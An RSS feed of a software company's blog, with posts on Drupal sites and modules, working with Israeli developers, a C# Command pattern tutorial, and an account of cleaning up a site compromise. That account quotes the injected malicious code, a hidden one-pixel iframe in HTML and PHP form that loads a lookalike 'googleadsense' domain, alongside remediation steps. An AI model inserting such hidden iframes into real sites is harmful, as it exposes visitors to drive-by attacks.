<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>CodeOasis Blog</title>
	<atom:link href="http://blog.codeoasis.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.codeoasis.com</link>
	<description>Technology, Software Development and Software Management</description>
	<lastBuildDate>Tue, 29 Mar 2011 11:34:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.4</generator>
		<item>
		<title>JAMD – Another cool Drupal site by CodeOasis</title>
		<link>http://blog.codeoasis.com/drupal/jamd-%e2%80%93-another-cool-drupal-site-by-codeoasis/</link>
		<comments>http://blog.codeoasis.com/drupal/jamd-%e2%80%93-another-cool-drupal-site-by-codeoasis/#comments</comments>
		<pubDate>Sun, 27 Mar 2011 15:56:32 +0000</pubDate>
		<dc:creator>Amir Golan</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Drupal]]></category>
		<category><![CDATA[Showcase]]></category>

		<guid isPermaLink="false">http://blog.codeoasis.com/?p=119</guid>
		<description><![CDATA[We are proud to launch a new Drupal site &#8211; Jerusalem Academy of Music and Dance. &#8220;Identifying talent, nurturing it and helping to realize its potential is what the Jerusalem Academy of Music and Dance is all about. Its 3 institutions, the conservatory, the high school and the Academy welcome through their doors 1600 talented young [...]]]></description>
			<content:encoded><![CDATA[<p>We are proud to launch a new <a title="CodeOasis-and-Drupal" href="http://www.codeoasis.com/CodeOasis-and-Drupal" target="_blank">Drupal</a> site &#8211; <a title=" Jerusalem Academy of Music and Dance" href="http://www.jamd.ac.il/en" target="_blank">Jerusalem Academy of Music and Dance</a>.</p>
<p style="text-align: center;"><a href="http://blog.codeoasis.com/wp-content/uploads/2011/03/Music-Academy.jpg"><img class="aligncenter size-full wp-image-120" title="Music Academy" src="http://blog.codeoasis.com/wp-content/uploads/2011/03/Music-Academy.jpg" alt="Jerusalem Academy of Music and Dance - Home Page - On Drupal" width="561" height="539" /></a></p>
<blockquote><p>&#8220;Identifying talent, nurturing it and helping to realize its potential is what the <a title=" Jerusalem Academy of Music and Dance" href="http://www.jamd.ac.il/en" target="_blank">Jerusalem Academy of Music and Dance</a> is all about. Its 3 institutions, the conservatory, the high school and the Academy welcome through their doors 1600 talented young people every day, some starting as young as the age of 4 and continuing to as old as when they are primed for their adult careers. They come to learn, create and express their commitment to music and dance.&#8221;</p></blockquote>
<p><a title="CodeOasis - Drupal, Open Source and beyond" href="http://www.codeoasis.com" target="_blank">CodeOasis</a> was responsible to all of the site&#8217;s aspects including: Project Management, <a title="CodeOasis-and-Drupal" href="http://www.codeoasis.com/CodeOasis-and-Drupal" target="_blank">Drupal</a> Specification, UI Design, <a title="CodeOasis-and-Drupal" href="http://www.codeoasis.com/CodeOasis-and-Drupal" target="_blank">Drupal</a> implementation and QA.</p>
<p>This site has joined a list of great sites based on <a title="CodeOasis-and-Drupal" href="http://www.codeoasis.com/CodeOasis-and-Drupal" target="_blank">Drupal</a> and by <a title="CodeOasis - Drupal, Open Source and beyond" href="http://www.codeoasis.com" target="_blank">CodeOasis</a>.</p>
<p>Enjoy.</p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://blog.codeoasis.com/drupal/jamd-%e2%80%93-another-cool-drupal-site-by-codeoasis/" /></p>]]></content:encoded>
			<wfw:commentRss>http://blog.codeoasis.com/drupal/jamd-%e2%80%93-another-cool-drupal-site-by-codeoasis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hiring an Israeli web development team? Stereotypes &amp; Tips.</title>
		<link>http://blog.codeoasis.com/general-talk/hiring-an-israeli-web-development-team-stereotypes-tips/</link>
		<comments>http://blog.codeoasis.com/general-talk/hiring-an-israeli-web-development-team-stereotypes-tips/#comments</comments>
		<pubDate>Fri, 25 Mar 2011 15:36:50 +0000</pubDate>
		<dc:creator>Ran Mizrahi</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Drupal]]></category>
		<category><![CDATA[General Talk]]></category>
		<category><![CDATA[Management]]></category>
		<category><![CDATA[hiring]]></category>
		<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://blog.codeoasis.com/?p=110</guid>
		<description><![CDATA[the stumbling points you may encounter when working with an Israeli team and important tips on how to manage potential problems.]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.codeoasis.com/wp-content/uploads/2011/03/Image.png"><img class="alignleft size-medium wp-image-108" title="Image" src="http://blog.codeoasis.com/wp-content/uploads/2011/03/Image-300x203.png" alt="General Image about Drupal, OpenSource, Israel Agile, developers and more" width="300" height="203" /></a>Israel prides itself in being a leader in web development. Evidence shows that the latest and coolest software, web applications and technology companies have grown out of the Israeli high-tech  greenhouse.</p>
<p>Entire books, such as “Start-up Nation”, have tried to define the ingredients that make up the incredible inclination to ingenuity that has led this tiny nation to become a world leading silicon valley in its own right . The authors,  Dan Senor and Saul Singer, point to the cultural and psychological traits of the average Israeli developer such as  creativity and competitiveness.</p>
<p>When you hire an Israeli software team to develop you web application or website you will undoubtedly enjoy that greatness that has become an integral part of the Israeli development community. However, let’s bring things down to earth a bit and be honest about some of the weaknesses of Israel’s  development teams.</p>
<p>We like to go against the flow sometimes at <a title="Drupal, Open Source and beyond" href="http://www.codeoasis.com/" target="_blank">CodeOasis</a> and we are not afraid to be real (check out our Purim photos). With our confidence as a leading <a title="Why Open Source?" href="http://www.codeoasis.com/Why-Open-Source" target="_blank">open source development house in Israel</a>, we are willing to face the music.</p>
<p>So here it goes. You may never hear anyone else tell it like it is like we are about to tell you (and let you live to tell about it yourself). Here are the stumbling points you may encounter when working with an Israeli team. But we don’t just leave you hanging there with a problem! We include important tips on how to best manage your way through those potential problems.</p>
<p><strong><span style="text-decoration: underline;">Who is the Boss?</span></strong></p>
<p>Israelis have no doubt that they are smart. However, sometimes that confidence comes out as “no one is as smart as us” attitude. That can create a lack of tolerance for accepting instructions from any one, including clients. Case in point: A co-worker told me: “SPECs are for wimps”, meaning, “ I know better than anyone else what to do and no one should tell me what to do including the guy paying me to do it.”</p>
<p><strong>Tip</strong>: Don’t fight it. What you gain from such an egomaniac developer will be far more than what you lose. Think Agile and benefit from the ingenuity. Alternatively, you can try to micromanage the project . . . good luck with that!</p>
<p><span style="text-decoration: underline;"><strong>“Everything is going to be all right</strong>” – yihiye beseder</span></p>
<p>If you hear that sentence in a meeting, on the phone or in an email, this is your cue to start worrying. Some of the greatest Israeli disasters were prefaced with this sentence. The attitude of everything will be OK, even when there are signs that it is not, is a result of a confidence that in the end, somehow it will all come together – but they have not really planned or thought about precisely that will happen. It’s kind of like counting on divine intervention.</p>
<p><strong>Tip</strong>: Demand full transparency so you can monitor progress. There are great online tools, wiki’s and reporting methods that provide this capability. We at Code Oasis use <a title="CodeOasis-and-Drupal" href="http://www.codeoasis.com/CodeOasis-and-Drupal" target="_blank">Drupal</a> based <a title="Knowledge Management and Collaboration Tools" href="http://www.codeoasis.com/Knowledge-Management-and-Collaboration-Tools" target="_blank">Open Atrium</a> for that. A good developer will implement such a system without being asked. And don’t be afraid to ask the hard questions.</p>
<p><strong><span style="text-decoration: underline;">Discretion and Tact</span></strong></p>
<p>Israeli vendors can blur the lines between our local warmth and informal culture and what is considered general, appropriate conduct in a business setting. Israelis are not new to international business and the global high-tech environment  tends to include less corporate formalities. However, there are still potential challenges in discretion and tact.  The informal nature of interacting and the Israeli allergic reaction to formalizing procedures that can slow down actual work, can potentially lead to leaks and unclear boundaries.</p>
<p><strong>Tip</strong>: NDA and conduct clarifications at launch. If you have corporate rules that need to be adhered to, dedicate a conversation to reviewing those rules and setting expectations.</p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://blog.codeoasis.com/general-talk/hiring-an-israeli-web-development-team-stereotypes-tips/" /></p>]]></content:encoded>
			<wfw:commentRss>http://blog.codeoasis.com/general-talk/hiring-an-israeli-web-development-team-stereotypes-tips/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Drupal for Facebook</title>
		<link>http://blog.codeoasis.com/drupal/drupal-for-facebook/</link>
		<comments>http://blog.codeoasis.com/drupal/drupal-for-facebook/#comments</comments>
		<pubDate>Sun, 11 Apr 2010 12:02:19 +0000</pubDate>
		<dc:creator>nivb</dc:creator>
				<category><![CDATA[Drupal]]></category>
		<category><![CDATA[Modules]]></category>
		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[Facebook API]]></category>
		<category><![CDATA[Facebook Connect]]></category>
		<category><![CDATA[Niv Recommends]]></category>

		<guid isPermaLink="false">http://blog.codeoasis.com/?p=95</guid>
		<description><![CDATA[Drupal for Facebook is a set of modules that allow you to create an application for facebook. Facebook applications come in two basic flavors: Facebook Connect apps are web sites with facebook-specific features added. These run on your own domain; pages are HTML with facebook&#8217;s javascript added. Canvas Page apps run within facebook. These appear in [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://drupal.org/project/fb" target="_blank"><strong>Drupal for Facebook</strong></a> is a set of modules that allow you to create an <a href="http://developers.facebook.com/anatomy.php" target="_blank"><strong>application</strong></a> for <a href="http://www.facebook.com/" target="_blank"><strong>facebook</strong></a>.</p>
<p>Facebook applications come in two basic flavors:</p>
<ul>
<li><a href="http://developers.facebook.com/connect.php" target="_blank"><strong>Facebook      Connect</strong></a> apps are web sites with facebook-specific      features added. These run on your own domain; pages are HTML with      facebook&#8217;s javascript added.</li>
<li><a href="http://developers.facebook.com/get_started.php" target="_blank"><strong>Canvas Page</strong></a> apps      run within facebook. These appear in the <a href="http://app.facebook.com" target="_blank">app.facebook.com</a> domain. Pages are either FBML, or      iframes embedded within FBML.</li>
</ul>
<p><a href="http://drupal.org/project/fb" target="_blank"><strong>Drupal for Facebook</strong></a> supports both flavors of apps, and includes many features common to both, such as writing to activity streams, profile boxes, and more.</p>
<p><em>Drupal for Facebook</em> contains several sub-modules. Enable just those that you need. For example if you need Facebook Connect, enable <code>fb_connect.module</code>; Canvas Pages, <code>fb_canvas.module</code>; wall posts and status updates, the <code>fb_stream.module</code>; and so on&#8230;</p>
<p>Very cool, very efficient.</p>
<p>Give it a try.</p>
<p>Niv<br />
CodeOasis</p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://blog.codeoasis.com/drupal/drupal-for-facebook/" /></p>]]></content:encoded>
			<wfw:commentRss>http://blog.codeoasis.com/drupal/drupal-for-facebook/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Taxonomy Views Integrator</title>
		<link>http://blog.codeoasis.com/drupal/taxonomy-views-integrator/</link>
		<comments>http://blog.codeoasis.com/drupal/taxonomy-views-integrator/#comments</comments>
		<pubDate>Wed, 10 Mar 2010 17:13:07 +0000</pubDate>
		<dc:creator>Ran Mizrahi</dc:creator>
				<category><![CDATA[Drupal]]></category>
		<category><![CDATA[Modules]]></category>
		<category><![CDATA[Module]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Taxonomy]]></category>
		<category><![CDATA[Term]]></category>
		<category><![CDATA[Views]]></category>
		<category><![CDATA[vocabulary]]></category>

		<guid isPermaLink="false">http://blog.codeoasis.com/?p=71</guid>
		<description><![CDATA[Hi Everyone, I would like to introduce you a new and useful Drupal module called TVI. Until this new module came up we used one view that effected the display of every category and vocabulary page. Using TVI you would be able to define specific view to every category or vocabulary page. For example : [...]]]></description>
			<content:encoded><![CDATA[<p>Hi Everyone,</p>
<p>I would like to introduce you a new and useful Drupal module called TVI.<br />
Until this new module came up we used one view that effected the display of every category and vocabulary page.</p>
<p>Using <a href="http://drupal.org/project/tvi">TVI</a> you would be able to define specific view to every category or vocabulary page.<br />
For example :</p>
<p><a href="http://blog.codeoasis.com/wp-content/uploads/2010/03/tvi1.jpg"><img class="alignnone size-full wp-image-80" title="tvi" src="http://blog.codeoasis.com/wp-content/uploads/2010/03/tvi1.jpg" alt="" width="538" height="212" /></a></p>
<p>Thanks and see you next time!</p>
<p>Niv Boukobza</p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://blog.codeoasis.com/drupal/taxonomy-views-integrator/" /></p>]]></content:encoded>
			<wfw:commentRss>http://blog.codeoasis.com/drupal/taxonomy-views-integrator/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Working at Sde-Boker branch</title>
		<link>http://blog.codeoasis.com/general-talk/working-on-sde-boker-branch/</link>
		<comments>http://blog.codeoasis.com/general-talk/working-on-sde-boker-branch/#comments</comments>
		<pubDate>Wed, 10 Mar 2010 15:42:02 +0000</pubDate>
		<dc:creator>avi</dc:creator>
				<category><![CDATA[General Talk]]></category>

		<guid isPermaLink="false">http://blog.codeoasis.com/?p=54</guid>
		<description><![CDATA[(look into the post) this is our view and these are the people Come and see the wonder]]></description>
			<content:encoded><![CDATA[<p>(look into the post)</p>
<p>this is our view</p>
<p><a href="http://blog.codeoasis.com/wp-content/uploads/2010/03/Zin.jpg"><img class="alignnone size-full wp-image-59" title="Zin" src="http://blog.codeoasis.com/wp-content/uploads/2010/03/Zin.jpg" alt="" width="590" height="167" /></a></p>
<p>and these are the people</p>
<p><a href="http://blog.codeoasis.com/wp-content/uploads/2010/03/100320100111.jpg"><img class="alignnone size-full wp-image-65" title="10032010011" src="http://blog.codeoasis.com/wp-content/uploads/2010/03/100320100111.jpg" alt="" width="290" height="218" /></a></p>
<p><a href="http://blog.codeoasis.com/wp-content/uploads/2010/03/10032010009.jpg"><img class="alignnone size-medium wp-image-56" title="10032010009" src="http://blog.codeoasis.com/wp-content/uploads/2010/03/10032010009-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p><a href="http://blog.codeoasis.com/wp-content/uploads/2010/03/10032010009.jpg"></a><a href="http://blog.codeoasis.com/wp-content/uploads/2010/03/10032010008.jpg"><img class="alignnone size-medium wp-image-55" title="10032010008" src="http://blog.codeoasis.com/wp-content/uploads/2010/03/10032010008-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p>Come and see the wonder <img src='http://blog.codeoasis.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://blog.codeoasis.com/general-talk/working-on-sde-boker-branch/" /></p>]]></content:encoded>
			<wfw:commentRss>http://blog.codeoasis.com/general-talk/working-on-sde-boker-branch/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Drupal Click HeatMap</title>
		<link>http://blog.codeoasis.com/drupal/drupal-click-heatmap/</link>
		<comments>http://blog.codeoasis.com/drupal/drupal-click-heatmap/#comments</comments>
		<pubDate>Wed, 10 Mar 2010 10:13:57 +0000</pubDate>
		<dc:creator>nivb</dc:creator>
				<category><![CDATA[Drupal]]></category>
		<category><![CDATA[Modules]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[HeatMap]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[Module]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Pixel Tracking]]></category>

		<guid isPermaLink="false">http://blog.codeoasis.com/?p=44</guid>
		<description><![CDATA[Hi, Just stumbled into this Drupal module: Click HeatMap, very useful for monitoring on users clicks in your drupal website. For the one of you who do not know what Site Heat Map is, Site Heat Map is a visual display that maps user activity on a Html website page. The map shows hot and [...]]]></description>
			<content:encoded><![CDATA[<p>Hi,</p>
<p>Just stumbled into this Drupal module: <a href="http://drupal.org/project/click_heatmap" target="_blank">Click HeatMap</a>, very useful for monitoring on users clicks in your drupal website.</p>
<p>For the one of you who do not know what Site Heat Map is,<br />
Site Heat Map is a visual display that maps user activity on a Html website page. The map shows hot and cold click zones across a page,<br />
let the administrator monitor users activity and help in making conclusions and decisions about the design and the workflow of the website.</p>
<p>here is an example of a site heat map demonstrate  the way users click the results:<br />
<a href="http://blog.codeoasis.com/wp-content/uploads/2010/03/google_heatmap_zoom.jpg"><img class="alignnone size-large wp-image-49" title="google_heatmap_zoom" src="http://blog.codeoasis.com/wp-content/uploads/2010/03/google_heatmap_zoom-907x1024.jpg" alt="" width="544" height="614" /></a></p>
<p>This shows us what most of us already knows, the higher your website in google the better.</p>
<p>So give it a try,</p>
<p>Niv.</p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://blog.codeoasis.com/drupal/drupal-click-heatmap/" /></p>]]></content:encoded>
			<wfw:commentRss>http://blog.codeoasis.com/drupal/drupal-click-heatmap/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Iframe Injection (Story with lot of pain)</title>
		<link>http://blog.codeoasis.com/dotnet/iframe-injection-story-with-lot-of-pain/</link>
		<comments>http://blog.codeoasis.com/dotnet/iframe-injection-story-with-lot-of-pain/#comments</comments>
		<pubDate>Tue, 16 Feb 2010 15:28:42 +0000</pubDate>
		<dc:creator>Ran Mizrahi</dc:creator>
				<category><![CDATA[DotNet]]></category>
		<category><![CDATA[Drupal]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[.net]]></category>
		<category><![CDATA[Iframe]]></category>
		<category><![CDATA[Injections]]></category>

		<guid isPermaLink="false">http://blog.codeoasis.com/?p=30</guid>
		<description><![CDATA[Hi everyone, First of all, I would like to welcome you all to our new blog, we&#8217;ll try to post here some useful posts concerns to technology, software development, Social networking, internet and more.. Anyway, 5 months ago a small problem occurred on our office, suddenly an evil iframe injection decided to take down two of our [...]]]></description>
			<content:encoded><![CDATA[<p>Hi everyone,<br />
First of all, I would like to welcome you all to our new blog, we&#8217;ll try to post here some useful posts concerns to technology, software development, Social networking, internet and more..</p>
<p>Anyway, 5 months ago a small problem occurred on our office, suddenly an evil iframe injection decided to take down two of our clients websites.<br />
Rotem and Modi, two of the world most talented web developers (-:  got in to the picture and resolved the problem with the guidance of Ronnen (one of CodeOasis partners) and with a tiny assistance of me.</p>
<p>This is the implant that let you know you’ve got the Iframe injection:</p>
<p><strong>&lt;</strong><strong>iframe src=”http://goooogleadsence.biz/?click=8F9DA” width=1 height=1 style=”visibility:hidden;position:absolute”&gt;&lt;/iframe&gt;</strong> – – — – – – on HTML Files</p>
<p>OR</p>
<p><strong>echo “&lt;iframe src=\”http://goooogleadsence.biz/?click=8F9DA\” width=1 height=1 style=\”visibility:hidden;position:absolute\”&gt;&lt;/iframe&gt;”;</strong> – – – – – – – – – – On PHP files</p>
<p>I decided to write this post to help every poor human or developer to solve this annoying problem using a asp script that we couldn’t find anywhere on the net (there’s only PHP scripts).</p>
<p>This is the steps we went through vs. the evil Iframe injection:</p>
<p>1. The first thing is to change the passwords of your FTP, Database, and Control panel.<br />
2. File permissions in your server to the secure mode. (Ex: Any anonymous, Internet User access to be restricted). You need to contact your hosting company for this task.<br />
3. Please download your files (web) from the server and check for infections. Clean the infected files. (Please contact your programmer/developer’s for this task)<br />
4. Scan and clean your PCs/Workstation that you use for logging into your Web hosting server.<br />
5. Please avoid using public/shared computers to access your server.</p>
<p><strong>How do I clean the infected files?</strong></p>
<p>Search for all pages containig the malicious code and replace it with space.<br />
Rotem, one of Code Oasis developers, developed an asp script that creates a list of all damaged files allows you to go over manually and clean the hostile iframes (it couldn’t be done automatically because the iframe injection blocked access to some of the files). You can download Rotem script <a href="http://blog.ranmizrahi.com/Script.rar">HERE</a>!!!</p>
<p>That’s all for today, I hope anyone will find this post helpful.</p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://blog.codeoasis.com/dotnet/iframe-injection-story-with-lot-of-pain/" /></p>]]></content:encoded>
			<wfw:commentRss>http://blog.codeoasis.com/dotnet/iframe-injection-story-with-lot-of-pain/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Command design pattern</title>
		<link>http://blog.codeoasis.com/dotnet/command-design-pattern/</link>
		<comments>http://blog.codeoasis.com/dotnet/command-design-pattern/#comments</comments>
		<pubDate>Sun, 10 Jan 2010 14:20:26 +0000</pubDate>
		<dc:creator>Yaron</dc:creator>
				<category><![CDATA[DotNet]]></category>

		<guid isPermaLink="false">http://techblog.linux.codeoasis.com/?p=9</guid>
		<description><![CDATA[Hi! In this post, I will show you how the Command design pattern can help us and serve as a powerful tool for software development, web and desktop alike. With the help of the Command design pattern, we can bring object oriented programming into a command mechanism, which is otherwise not so object oriented. Usually, [...]]]></description>
			<content:encoded><![CDATA[<p>Hi!</p>
<p>In this post, I will show you how the Command design pattern can help us and serve as a powerful tool for software development, web and desktop alike.</p>
<p>With the help of the Command design pattern, we can bring object oriented programming into a command mechanism, which is otherwise not so object oriented.<br />
Usually, it is acceptable to create classes and methods that operate inside those classes with received paramaters.<br />
Some of these functions actually work as command executes, and they can receive anything from an object to a primitive type such as an integer or string.</p>
<p>By wrapping a basic command inside a Command design pattern, we can add extra processing to the command object, gather information from it and to it, add paramaters and a lot more.</p>
<p>Lets begin:</p>
<p>The next method shows us a regular way in receiving a command:</p>
<pre name="code" class="c-sharp">public void Execute(int command)
{
if (command == 0)
{
// do something
}
else if (command == 1)
{
// do something
}
}</pre>
<p>This method will do the job, but its very hard to maintain in the case of expansion, and it cannot receive additional functionality.<br />
By using the Command design pattern, we can turn the command execution into a generic operation, with a much larger functionality and much more freedom of space for future extensibility.</p>
<p>And this is how its done:<br />
We are to create an abstract class named Command, which will serve as the base class for all type of commands that we would want to create.<br />
Inside the Command class, we will add a variable of type IReceiver, which will be an interface in charge of the command implementation.</p>
<p>So, we will have the following class:</p>
<pre name="code" class="c-sharp">public abstract class Command
{
     private IReceiver receiver;

     public Command(IReceiver receiver)
     {
          this.receiver = receiver;
     }

     public abstract void Execute();
}</pre>
<p>Notice the abstract method Execute, which will be used to carry out the interface implementation.<br />
This gives us larger freedom in what we want to accomplish, and each Command driven class will be able to add extra functionality suiting its own needs.</p>
<p>The interface will be declared like this:</p>
<pre name="code" class="c-sharp">public interface IReceiver
{
     void DoAction(string strCommand);
}</pre>
<p>Now, we will create a class that implements IReceiver for the execution of a certain command.</p>
<pre name="code"  class="c-sharp">public class LessonPrinter : IReceiver
{
     void IReceiver.DoAction(string strCommand)
     {
          Console.WriteLine(strCommand);
     }
}</pre>
<p>All we have left to do now is create a Command class, and create the object who will receive a command and execute it.<br />
Lets create a new command based on our abstract Command class, a new class named MyCommand:</p>
<pre  name="code"  class="c-sharp">public class MyCommand : Command
{
     protected string strCommand;

     public MyCommand(IReceiver receiver, string strCommand)
             : base(receiver)
     {
          this.strCommand = strCommand;
     }

     public override void Execute()
     {
          this.receiver.DoAction(strCommand);
     }
}</pre>
<p>As you can see, this class receives an IReceiver object for executing a command, and a paramater that will be passed into the IReceiver object.<br />
The Execute function is caling the IReceiver objects&#8217; DoAction methods.</p>
<p>Now, we will create an object who will receieve and run commands, and also supply us with information about the list of commands inserted.</p>
<pre name="code" class="c-sharp">public class Invoker
{
     private List&lt;Command&gt; m_log = new List&lt;Command&gt;();

     public void Execute(Command command)
     {
          this.m_log.Add(command);
          command.Execute();
     }

     public List&lt;Command&gt; GetLog()
     {
          return this.m_log;
     }
}</pre>
<p>Finally, we can put it all together:</p>
<pre name="code" class="c#">LessonPrinter = new LessonPrinter();
Invoker Invoker = new Invoker();

Command _command  = new MyCommand(LessonPrinter,"hello yaron!");
Invoker.Execute(_command);

List&lt;Command&gt; commands = invoker.GetLog();</pre>
<p>And.. thats it!<br />
For questions and anything else &#8211; <a href="mailto:yaron@codeoasis.com">yaron@codeoasis.com</a></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://blog.codeoasis.com/dotnet/command-design-pattern/" /></p>]]></content:encoded>
			<wfw:commentRss>http://blog.codeoasis.com/dotnet/command-design-pattern/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Welcome to Blog-Oasis</title>
		<link>http://blog.codeoasis.com/general-talk/welcome-to-codeoasis-techblog/</link>
		<comments>http://blog.codeoasis.com/general-talk/welcome-to-codeoasis-techblog/#comments</comments>
		<pubDate>Sun, 10 Jan 2010 12:53:45 +0000</pubDate>
		<dc:creator>Ran Mizrahi</dc:creator>
				<category><![CDATA[General Talk]]></category>

		<guid isPermaLink="false">http://techblog.linux.codeoasis.com/?p=4</guid>
		<description><![CDATA[Hi, After a while, here is our blog. Here we will share our thoughts (Professional and others). In this blog you will be able to find information about Microsoft and Open Source technologies. Hope you will enjoy it. Thanks, Blog-Oasis Team]]></description>
			<content:encoded><![CDATA[<p>Hi,</p>
<p>After a while, here is our blog.<br />
Here we will share our thoughts (Professional and others).<br />
In this blog you will be able to find information about Microsoft and Open Source technologies.</p>
<p>Hope you will enjoy it.</p>
<p>Thanks,</p>
<p>Blog-Oasis Team</p>
<p><a href="http://techblog.linux.codeoasis.com/wp-content/uploads/2010/01/logo_final.jpg"><img class="alignnone size-medium wp-image-27" style="border: 0px initial initial;" title="logo_final" src="http://techblog.linux.codeoasis.com/wp-content/uploads/2010/01/logo_final-300x94.jpg" alt="CodeOasis - Advanced Software Solutions" width="300" height="94" /></a></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://blog.codeoasis.com/general-talk/welcome-to-codeoasis-techblog/" /></p>]]></content:encoded>
			<wfw:commentRss>http://blog.codeoasis.com/general-talk/welcome-to-codeoasis-techblog/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

